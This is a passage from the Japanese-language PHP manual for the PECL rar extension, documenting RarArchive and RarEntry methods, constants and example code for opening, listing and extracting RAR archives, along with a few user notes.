echo "$arch2: " . ($arch2->isSolid()?'yes':'no') . "\n";
?>

上の例の出力は、 たとえば以下のようになります。

RAR Archive "C:\php_rar\trunk\tests\store_method.rar": no
RAR Archive "C:\php_rar\trunk\tests\solid.rar": yes

例2 手続き型

<?php
$arch1 = rar_open("store_method.rar");
$arch2 = rar_open("solid.rar");
echo "$arch1: " . (rar_solid_is($arch1)?'yes':'no') ."\n";
echo "$arch2: " . (rar_solid_is($arch2)?'yes':'no') . "\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Rar アーカイブをオープンする

  • ≪ RarArchive::isSolid
  • RarArchive::setAllowBroken ≫
  • PHP Manual
  • RarArchive
  • Rar アーカイブをオープンする

RarArchive::open

rar_open

(PECL rar >= 2.0.0)

RarArchive::open -- rar_open — Rar アーカイブをオープンする

説明

オブジェクト指向型 (メソッド)

public static RarArchive::open ( string $filename , string $password = NULL , callable $volume_callback = NULL ) : RarArchive|false

手続き型:

rar_open ( string $filename , string $password = NULL , callable $volume_callback = NULL ) : RarArchive|false

指定した RAR アーカイブをオープンし、RarArchive インスタンスを返します。

注意:

マルチボリュームのアーカイブをオープンするときには、 最初のボリュームのパスをパラメータに指定します。 そうしないとすべてのファイルを表示することはできません。これは仕様です。

パラメータ

filename

Rar アーカイブへのパス。

password

ヘッダの復号に必要な場合、プレーンテキストのパスワード。 暗号化されたファイルが見つかったときにも、これがデフォルトのパスワードとして使われます。 ヘッダのパスワードとファイルのパスワードは異なる場合があることに注意しましょう。

volume_callback

ひとつのパラメータ (見つからなかったボリュームのパス) を受け取ってそのボリュームの正しいパスを返す関数。 この関数は、ボリュームが存在しなかったり未知であったりする場合は null を返さなければなりません。 この関数はループを引き起こさないようにしなければなりません。 前のコールで返されたパスがそのボリュームに対応しない場合に 関数が繰り返しコールされることがあるからです。 このパラメータを指定すると、ボリュームが見つからなかったときの notice は一切無視するようになります。したがって、 単に null を返すだけの実装を渡しておけば、 notice を無視させるためだけに使うこともできます。

警告

バージョン 2.0.0 より前では、この関数は相対パスを正しく処理できません。 回避策として realpath() を使いましょう。

返り値

RarArchive インスタンスを返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL rar 3.0.0 | volume_callback が追加されました。

例

例1 オブジェクト指向型

<?php
$rar_arch = RarArchive::open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = $rar_arch->getEntries();
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

$rar_arch->close();

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

上の例の出力は、 たとえば以下のようになります。

Found 2 files.
Content of first one follows:
Encrypted file 1 contents.

例2 手続き型

<?php
$rar_arch = rar_open('encrypted_headers.rar', 'samplepassword');
if ($rar_arch === FALSE)
    die("Failed opening file");

$entries = rar_list($rar_arch);
if ($entries === FALSE)
    die("Failed fetching entries");

echo "Found " . count($entries) . " files.\n";

if (empty($entries))
    die("No valid entries found.");

$stream = reset($entries)->getStream();
if ($stream === FALSE)
    die("Failed opening first file");

rar_close($rar_arch);

echo "Content of first one follows:\n";
echo stream_get_contents($stream);

fclose($stream);
?>

例3 ボリュームコールバック

<?php
/* この例では multi_broken.part1.rar というボリュームがあり、
 * 次のボリュームが multi.part2.rar であるものとします */
function resolve($vol) {
    if (preg_match('/_broken/', $vol))
        return str_replace('_broken', '', $vol);
    else
        return null;
}
$rar_file1 = rar_open(dirname(__FILE__).'/multi_broken.part1.rar', null, 'resolve');
$entry = $rar_file1->getEntry('file2.txt');
$entry->extract(null, dirname(__FILE__) . "/temp_file2.txt");
?>

参考

  • rar:// wrapper

User Contributed Notes

There are no user contributed notes for this page.


壊れたアーカイブのオープンを許可するかどうかを設定する

  • ≪ RarArchive::open
  • RarArchive::__toString ≫
  • PHP Manual
  • RarArchive
  • 壊れたアーカイブのオープンを許可するかどうかを設定する

RarArchive::setAllowBroken

(PECL rar >= 3.0.0)

RarArchive::setAllowBroken — 壊れたアーカイブのオープンを許可するかどうかを設定する

説明

オブジェクト指向型 (メソッド)

public RarArchive::setAllowBroken ( bool $allow_broken ) : bool

手続き型:

rar_allow_broken_set ( RarArchive $rarfile , bool $allow_broken ) : bool

このメソッドは、壊れたアーカイブの読み込みを許可するか、 あるいはアーカイブからエントリを抽出する操作をすべて失敗させるかを設定します。 壊れたアーカイブとは、ファイルのオープン時には何もエラーが検出されないのに エントリを読み込むときにエラーが発生するようなアーカイブのことです。

パラメータ

rarfile

rar_open() でオープンした RarArchive オブジェクト。

allow_broken

壊れたファイルの読み込みを許可する (true) か許可しない (false) か。

返り値

true を返します。失敗した場合に false を返します。 失敗するのは、既にファイルが閉じられているときだけです。

例

例1 オブジェクト指向型

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = RarArchive::open($file, null, 'retnull');
$a->setAllowBroken(true);
foreach ($a->getEntries() as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

上の例の出力は、 たとえば以下のようになります。

RarEntry for file "file1.txt" (52b28202)
int(1)

例2 手続き型

<?php
function retnull() { return null; }
$file = dirname(__FILE__) . "/multi_broken.part1.rar";
/* Third argument omits "volume not found" message */
$a = rar_open($file, null, 'retnull');
rar_allow_broken_set($a, true);
foreach (rar_list($a) as $e) {
    echo "$e\n";
}
var_dump(count($a));
?>

参考

  • RarArchive::isBroken() - アーカイブが壊れている (未完成である) かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


テキスト形式で取得する

  • ≪ RarArchive::setAllowBroken
  • RarEntry ≫
  • PHP Manual
  • RarArchive
  • テキスト形式で取得する

RarArchive::__toString

(PECL rar >= 2.0.0)

RarArchive::__toString — テキスト形式で取得する

説明

public RarArchive::__toString ( ) : string

この RarArchive オブジェクトの文字列表現を取得します。 現在表示されるのは、オープンしているアーカイブボリュームのフルパスと、 そのリソースが有効なのか RarArchive::close() で閉じられた後なのかということです。

このメソッドはデバッグ用にだけ使うものです。 結果にどのような情報が含まれるか、そしてどういった書式になるかなどは保証されていません。

パラメータ

この関数にはパラメータはありません。

返り値

この RarArchive オブジェクトのテキスト表現を返します。 テキストの中身については未定義です。

例

例1 RarArchive::__toString() の例

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

上の例の出力は、 たとえば以下のようになります。

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

User Contributed Notes

There are no user contributed notes for this page.


The RarEntry class

(PECL rar >= 0.1)

はじめに

A RAR entry, representing a directory or a compressed file inside a RAR archive.

クラス概要

final RarEntry {
/* 定数 */
const int HOST_MSDOS = 0 ;
const int HOST_OS2 = 1 ;
const int HOST_WIN32 = 2 ;
const int HOST_UNIX = 3 ;
const int HOST_MACOS = 4 ;
const int HOST_BEOS = 5 ;
const int ATTRIBUTE_WIN_READONLY = 1 ;
const int ATTRIBUTE_WIN_HIDDEN = 2 ;
const int ATTRIBUTE_WIN_SYSTEM = 4 ;
const int ATTRIBUTE_WIN_DIRECTORY = 16 ;
const int ATTRIBUTE_WIN_ARCHIVE = 32 ;
const int ATTRIBUTE_WIN_DEVICE = 64 ;
const int ATTRIBUTE_WIN_NORMAL = 128 ;
const int ATTRIBUTE_WIN_TEMPORARY = 256 ;
const int ATTRIBUTE_WIN_SPARSE_FILE = 512 ;
const int ATTRIBUTE_WIN_REPARSE_POINT = 1024 ;
const int ATTRIBUTE_WIN_COMPRESSED = 2048 ;
const int ATTRIBUTE_WIN_OFFLINE = 4096 ;
const int ATTRIBUTE_WIN_NOT_CONTENT_INDEXED = 8192 ;
const int ATTRIBUTE_WIN_ENCRYPTED = 16384 ;
const int ATTRIBUTE_WIN_VIRTUAL = 65536 ;
const int ATTRIBUTE_UNIX_WORLD_EXECUTE = 1 ;
const int ATTRIBUTE_UNIX_WORLD_WRITE = 2 ;
const int ATTRIBUTE_UNIX_WORLD_READ = 4 ;
const int ATTRIBUTE_UNIX_GROUP_EXECUTE = 8 ;
const int ATTRIBUTE_UNIX_GROUP_WRITE = 16 ;
const int ATTRIBUTE_UNIX_GROUP_READ = 32 ;
const int ATTRIBUTE_UNIX_OWNER_EXECUTE = 64 ;
const int ATTRIBUTE_UNIX_OWNER_WRITE = 128 ;
const int ATTRIBUTE_UNIX_OWNER_READ = 256 ;
const int ATTRIBUTE_UNIX_STICKY = 512 ;
const int ATTRIBUTE_UNIX_SETGID = 1024 ;
const int ATTRIBUTE_UNIX_SETUID = 2048 ;
const int ATTRIBUTE_UNIX_FINAL_QUARTET = 61440 ;
const int ATTRIBUTE_UNIX_FIFO = 4096 ;
const int ATTRIBUTE_UNIX_CHAR_DEV = 8192 ;
const int ATTRIBUTE_UNIX_DIRECTORY = 16384 ;
const int ATTRIBUTE_UNIX_BLOCK_DEV = 24576 ;
const int ATTRIBUTE_UNIX_REGULAR_FILE = 32768 ;
const int ATTRIBUTE_UNIX_SYM_LINK = 40960 ;
const int ATTRIBUTE_UNIX_SOCKET = 49152 ;
/* メソッド */
public extract ( string $dir , string $filepath = "" , string $password = NULL , bool $extended_data = false ) : bool
public getAttr ( ) : int
public getCrc ( ) : string
public getFileTime ( ) : string
public getHostOs ( ) : int
public getMethod ( ) : int
public getName ( ) : string
public getPackedSize ( ) : int
public getStream ( string $password = ? ) : resource|false
public getUnpackedSize ( ) : int
public getVersion ( ) : int
public isDirectory ( ) : bool
public isEncrypted ( ) : bool
public __toString ( ) : string
}

定義済み定数

RarEntry::HOST_MSDOS

If the return value of RarEntry::getHostOs() equals this constant, MS-DOS was used to add this entry. Use instead of RAR_HOST_MSDOS.

RarEntry::HOST_OS2

If the return value of RarEntry::getHostOs() equals this constant, OS/2 was used to add this entry. Intended to replace RAR_HOST_OS2.

RarEntry::HOST_WIN32

If the return value of RarEntry::getHostOs() equals this constant, Microsoft Windows was used to add this entry. Intended to replace RAR_HOST_WIN32.

RarEntry::HOST_UNIX

If the return value of RarEntry::getHostOs() equals this constant, an unspecified UNIX OS was used to add this entry. Intended to replace RAR_HOST_UNIX.

RarEntry::HOST_MACOS

If the return value of RarEntry::getHostOs() equals this constant, Mac OS was used to add this entry.

RarEntry::HOST_BEOS

If the return value of RarEntry::getHostOs() equals this constant, BeOS was used to add this entry. Intended to replace RAR_HOST_BEOS.

RarEntry::ATTRIBUTE_WIN_READONLY

Bit that represents a Windows entry with a read-only attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_HIDDEN

Bit that represents a Windows entry with a hidden attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SYSTEM

Bit that represents a Windows entry with a system attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DIRECTORY

Bit that represents a Windows entry with a directory attribute (entry is a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_ARCHIVE

Bit that represents a Windows entry with an archive attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_DEVICE

Bit that represents a Windows entry with a device attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NORMAL

Bit that represents a Windows entry with a normal file attribute (entry is NOT a directory). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows. See also RarEntry::isDirectory(), which also works with entries that were not added in WinRAR.

RarEntry::ATTRIBUTE_WIN_TEMPORARY

Bit that represents a Windows entry with a temporary attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_SPARSE_FILE

Bit that represents a Windows entry with a sparse file attribute (file is an NTFS sparse file). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_REPARSE_POINT

Bit that represents a Windows entry with a reparse point attribute (entry is an NTFS reparse point, e.g. a directory junction or a mount file system). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_COMPRESSED

Bit that represents a Windows entry with a compressed attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_OFFLINE

Bit that represents a Windows entry with an offline attribute (entry is offline and not accessible). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_NOT_CONTENT_INDEXED

Bit that represents a Windows entry with a not content indexed attribute (entry is to be indexed). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_ENCRYPTED

Bit that represents a Windows entry with an encrypted attribute (NTFS only). To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_WIN_VIRTUAL

Bit that represents a Windows entry with a virtual attribute. To be used with RarEntry::getAttr() on entries whose host OS is Microsoft Windows.

RarEntry::ATTRIBUTE_UNIX_WORLD_EXECUTE

Bit that represents a UNIX entry that is world executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_WRITE

Bit that represents a UNIX entry that is world writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_WORLD_READ

Bit that represents a UNIX entry that is world readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_EXECUTE

Bit that represents a UNIX entry that is group executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_WRITE

Bit that represents a UNIX entry that is group writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_GROUP_READ

Bit that represents a UNIX entry that is group readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_EXECUTE

Bit that represents a UNIX entry that is owner executable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_WRITE

Bit that represents a UNIX entry that is owner writable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_OWNER_READ

Bit that represents a UNIX entry that is owner readable. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_STICKY

Bit that represents the UNIX sticky bit. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETGID

Bit that represents the UNIX setgid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_SETUID

Bit that represents the UNIX setuid attribute. To be used with RarEntry::getAttr() on entries whose host OS is UNIX.

RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET

Mask to isolate the last four bits (nibble) of UNIX attributes
      (_S_IFMT, the type of file mask). To be used with
      RarEntry::getAttr() on entries whose host OS is UNIX and with the
      constants RarEntry::ATTRIBUTE_UNIX_FIFO,
      RarEntry::ATTRIBUTE_UNIX_CHAR_DEV,
      RarEntry::ATTRIBUTE_UNIX_DIRECTORY,
      RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV,
      RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE,
      RarEntry::ATTRIBUTE_UNIX_SYM_LINK and
      RarEntry::ATTRIBUTE_UNIX_SOCKET.

RarEntry::ATTRIBUTE_UNIX_FIFO

Unix FIFOs will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_CHAR_DEV

Unix character devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_DIRECTORY

Unix directories will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_BLOCK_DEV

Unix block devices will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_REGULAR_FILE

Unix regular files (not directories) will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET. See also RarEntry::isDirectory(), which also works with entries that were added in other operating systems.

RarEntry::ATTRIBUTE_UNIX_SYM_LINK

Unix symbolic links will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

RarEntry::ATTRIBUTE_UNIX_SOCKET

Unix sockets will have attributes whose last four bits have this value. To be used with RarEntry::getAttr() on entries whose host OS is UNIX and with the constant RarEntry::ATTRIBUTE_UNIX_FINAL_QUARTET.

目次

  • RarEntry::extract — アーカイブのエントリを展開する
  • RarEntry::getAttr — エントリの属性を取得する
  • RarEntry::getCrc — エントリの CRC を取得する
  • RarEntry::getFileTime — エントリの最終更新時刻を取得する
  • RarEntry::getHostOs — エントリのホスト OS を取得する
  • RarEntry::getMethod — エントリの圧縮方法を取得する
  • RarEntry::getName — エントリの名前を取得する
  • RarEntry::getPackedSize — 圧縮後のエントリのサイズを取得する
  • RarEntry::getStream — このエントリのファイルハンドラを取得する
  • RarEntry::getUnpackedSize — 展開後のエントリのサイズを取得する
  • RarEntry::getVersion — このエントリを展開するのに必要な RAR プログラムの最低バージョンを取得する
  • RarEntry::isDirectory — このエントリがディレクトリであるかどうかを調べる
  • RarEntry::isEncrypted — このエントリが暗号化されているかどうかを調べる
  • RarEntry::__toString — エントリのテキスト表現を取得する

User Contributed Notes

There are no user contributed notes for this page.


アーカイブのエントリを展開する

  • ≪ RarEntry
  • RarEntry::getAttr ≫
  • PHP Manual
  • RarEntry
  • アーカイブのエントリを展開する

RarEntry::extract

(PECL rar >= 0.1)

RarEntry::extract — アーカイブのエントリを展開する

説明

public RarEntry::extract ( string $dir , string $filepath = "" , string $password = NULL , bool $extended_data = false ) : bool

RarEntry::extract() は、エントリのデータを展開します。 二番目の引数が指定されていなければ、 指定した dir にエントリの名前と同名の新しいファイルを作成します。 詳細は以下を参照ください。

パラメータ

dir

ファイルを展開するディレクトリへのパス。 このパラメータが考慮されるのは filepath が指定されていないときだけです。両方のパラメータが空の場合は、 カレントディレクトリへの展開を試みます。

filepath

取り出すファイルのディレクトリとファイル名を含むパス (相対パスあるいは絶対パス)。 このパラメータは、dir の内容と元のファイル名を両方とも上書きします。

password

このエントリの暗号化に使うパスワード。 エントリが暗号化されていない場合は、この値は使われずに無視されます。 このパラメータが省略されていてエントリが暗号化されていた場合は、もし rar_open() でパスワードを指定していればそれを使います。 このパラメータや rar_open() で指定したパスワードが間違っていたときは、 CRC チェックが失敗してこのメソッドが失敗し、false を返します。 パスワードが要求されているときにパスワードを指定していなければ、 このメソッドは失敗して false を返します。 エントリが暗号化されているかどうかを知るには RarEntry::isEncrypted() を使います。

extended_data

true にすると、NTFS の ACL や Unix のオーナー情報といった拡張情報が アーカイブに設定されていれば、取り出したファイルにもそれを設定します。

警告

バージョン 2.0.0 より前は、この関数では相対パスを正しく扱えません。 回避策として realpath() を使いましょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL rar 3.0.0 | extended_data が追加されました。
PECL rar 3.0.0 | エントリ名が繰り返される RAR アーカイブも対応するようになりました。

例

例1 RarEntry::extract() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

$entry->extract('/dir/to'); // /dir/to/Dir/file.txt を作成します
$entry->extract(false, '/dir/to/new_name.txt'); // /dir/to/new_name.txt を作成します

?>

例2 アーカイブ内のすべてのファイルを展開する方法

<?php

/* erix こと Erik Jenssen によるサンプルです */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file);
    $entry->extract("."); // カレントディレクトリに展開します
}
rar_close($rar_file);

?>

参考

  • RarEntry::getStream() - このエントリのファイルハンドラを取得する
  • rar:// wrapper

User Contributed Notes

nelson_km_94 at hotmail dot com 27-Jan-2015 07:41
Example #2 has a mistake.

This one works fine:
<?php

/* example by Erik Jenssen aka erix */

$filename = "foobar.rar";
$filepath = "/home/foo/bar/";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
    $entry = rar_entry_get($rar_file, $file->getName());
    $entry->extract("."); // extract to the current dir
}
rar_close($rar_file);

?>
Anonymous 20-May-2013 05:29
If the entry to extract is a directory as per RarEntry::isDirectory(), this method does not seem to extract the entries below that directory as one might expect from using the command-line RAR or WinRAR.


エントリの属性を取得する

  • ≪ RarEntry::extract
  • RarEntry::getCrc ≫
  • PHP Manual
  • RarEntry
  • エントリの属性を取得する

RarEntry::getAttr

(PECL rar >= 0.1)

RarEntry::getAttr — エントリの属性を取得する

説明

public RarEntry::getAttr ( ) : int

アーカイブエントリの、OS に依存する属性を返します。

パラメータ

この関数にはパラメータはありません。

返り値

属性、あるいはエラー時に false を返します。

例

例1 RarEntry::getAttr() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("そのようなエントリは見つかりません");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
    case RAR_HOST_MSDOS:
    case RAR_HOST_OS2:
    case RAR_HOST_WIN32:
    case RAR_HOST_MACOS:
        printf("%c%c%c%c%c%c\n",
                ($attr & 0x08) ? 'V' : '.',
                ($attr & 0x10) ? 'D' : '.',
                ($attr & 0x01) ? 'R' : '.',
                ($attr & 0x02) ? 'H' : '.',
                ($attr & 0x04) ? 'S' : '.',
                ($attr & 0x20) ? 'A' : '.');
        break;
    case RAR_HOST_UNIX:
    case RAR_HOST_BEOS:
        switch ($attr & 0xF000)
        {
            case 0x4000:
                printf("d");
                break;
            case 0xA000:
                printf("l");
                break;
            default:
                printf("-");
                break;
        }
        printf("%c%c%c%c%c%c%c%c%c\n",
                ($attr & 0x0100) ? 'r' : '-',
                ($attr & 0x0080) ? 'w' : '-',
                ($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
                ($attr & 0x0020) ? 'r' : '-',
                ($attr & 0x0010) ? 'w' : '-',
                ($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
                ($attr & 0x0004) ? 'r' : '-',
                ($attr & 0x0002) ? 'w' : '-',
                ($attr & 0x0001) ? 'x' : '-');
        break;
}

rar_close($rar_file);

?>

参考

  • RarEntry::getHostOs() - エントリのホスト OS を取得する
  • The constants in RarEntry

User Contributed Notes

There are no user contributed notes for this page.


エントリの CRC を取得する

  • ≪ RarEntry::getAttr
  • RarEntry::getFileTime ≫
  • PHP Manual
  • RarEntry
  • エントリの CRC を取得する

RarEntry::getCrc

(PECL rar >= 0.1)

RarEntry::getCrc — エントリの CRC を取得する

説明

public RarEntry::getCrc ( ) : string

アーカイブエントリの CRC を、十六進文字列表現で返します。

パラメータ

この関数にはパラメータはありません。

返り値

アーカイブエントリの CRC、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
PECL rar 2.0.0 | 複数ボリュームのアーカイブでも正しい値を返すようになりました。

User Contributed Notes

aterlux at mail dot ru 19-Sep-2018 04:00
RarEntry::getCrc() returs a lowercase hex-string (e.g. 'bf6fa85c') the same as hash_... functions, using the same polynomial as 'crc32b' algorithm.
So, it can be used to check CRC after a stream unpacking:

<?php
  $archive_name = 'archive.rar';

  $entry_name = 'someentry.ext';

  $rar = RarArchive::open($archive_name) or die("Cannot open archive $archive_name");

  if ($rar->isBroken()) {
    die("The archive is broken!");
  }

  $entry = $rar->getEntry($entry_name) or die("Cannot find entry $entry_name");

  $stream = $entry->getStream() or die("Cannot open stream");

  $crc = hash_init('crc32b'); // Initializing the hash function

  while (!feof($stream)) {
    $s = fread($stream, 8192);
    if ($s === false) {
        // Error reading (do not use fread(...) or die(...), because fread can return '0'!)
      die('Error reading the compressed file.');
    }
    hash_update($crc, $s); // updating the hash

    // ...
    // Do whatever with the $s
  }

  fclose($stream);

  $got_crc = hash_final($crc);
  $need_crc = $entry->getCrc();

  print("Got CRC: $got_crc" . PHP_EOL);
  print("Need CRC: $need_crc" . PHP_EOL);

  if ($got_crc != $need_crc) {
    // rollback
    print("Sorry guys, the file was incorrect!" . PHP_EOL);
  } else {
    print("Everything is ok" . PHP_EOL);
  }
?>


エントリの最終更新時刻を取得する

  • ≪ RarEntry::getCrc
  • RarEntry::getHostOs ≫
  • PHP Manual
  • RarEntry
  • エントリの最終更新時刻を取得する

RarEntry::getFileTime

(PECL rar >= 0.1)

RarEntry::getFileTime — エントリの最終更新時刻を取得する

説明

public RarEntry::getFileTime ( ) : string

エントリの最終更新時刻を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

エントリの最終更新時刻を YYYY-MM-DD HH:II:SS 形式で表した文字列、あるいはエラー時に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


エントリのホスト OS を取得する

  • ≪ RarEntry::getFileTime
  • RarEntry::getMethod ≫
  • PHP Manual
  • RarEntry
  • エントリのホスト OS を取得する

RarEntry::getHostOs

(PECL rar >= 0.1)

RarEntry::getHostOs — エントリのホスト OS を取得する

説明

public RarEntry::getHostOs ( ) : int

アーカイブエントリのホスト OS のコードを返します。

パラメータ

この関数にはパラメータはありません。

返り値

ホスト OS のコード、あるいはエラー時に false を返します。

例

例1 RarEntry::getHostOs() の例 (バージョン >= 2.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

switch ($entry->getHostOs()) {
    case RarEntry::HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RarEntry::HOST_OS2:
        echo "OS2\n";
        break;
    case RarEntry::HOST_WIN32:
        echo "Win32\n";
        break;
    case RarEntry::HOST_MACOS:
        echo "MacOS\n";
        break;
    case RarEntry::HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RarEntry::HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

例2 RarEntry::getHostOs() の例 (バージョン <= 1.0.0)

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

switch ($entry->getHostOs()) {
    case RAR_HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RAR_HOST_OS2:
        echo "OS2\n";
        break;
    case RAR_HOST_WIN32:
        echo "Win32\n";
        break;
    case RAR_HOST_MACOS:
        echo "MacOS\n";
        break;
    case RAR_HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RAR_HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

参考

  • RarEntry::extract() - アーカイブのエントリを展開する

User Contributed Notes

There are no user contributed notes for this page.


エントリの圧縮方法を取得する

  • ≪ RarEntry::getHostOs
  • RarEntry::getName ≫
  • PHP Manual
  • RarEntry
  • エントリの圧縮方法を取得する

RarEntry::getMethod

(PECL rar >= 0.1)

RarEntry::getMethod — エントリの圧縮方法を取得する

説明

public RarEntry::getMethod ( ) : int

RarEntry::getMethod() は、現在のアーカイブエントリを 追加する際に使用したメソッドの番号を返します。

パラメータ

この関数にはパラメータはありません。

返り値

メソッド番号、あるいはエラー時に false を返します。

例

例1 RarEntry::getMethod() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

echo "メソッド番号: " . $entry->getMethod();

?>

User Contributed Notes

There are no user contributed notes for this page.


エントリの名前を取得する

  • ≪ RarEntry::getMethod
  • RarEntry::getPackedSize ≫
  • PHP Manual
  • RarEntry
  • エントリの名前を取得する

RarEntry::getName

(PECL rar >= 0.1)

RarEntry::getName — エントリの名前を取得する

説明

public RarEntry::getName ( ) : string

アーカイブエントリの名前 (パスつき) を返します。

パラメータ

この関数にはパラメータはありません。

返り値

エントリ名を表す文字列、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
PECL rar 2.0.0 | バージョン 2.0.0 以降、返される文字列のエンコードは Unicode/UTF-8 となりました。

例

例1 RarEntry::getName() の例

<?php

// このサンプルは、ページが UTF-8 でエンコードされていなくても安全です。
// UTF-8 でエンコードされているページの場合は mb_convert_encoding は不要です。

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

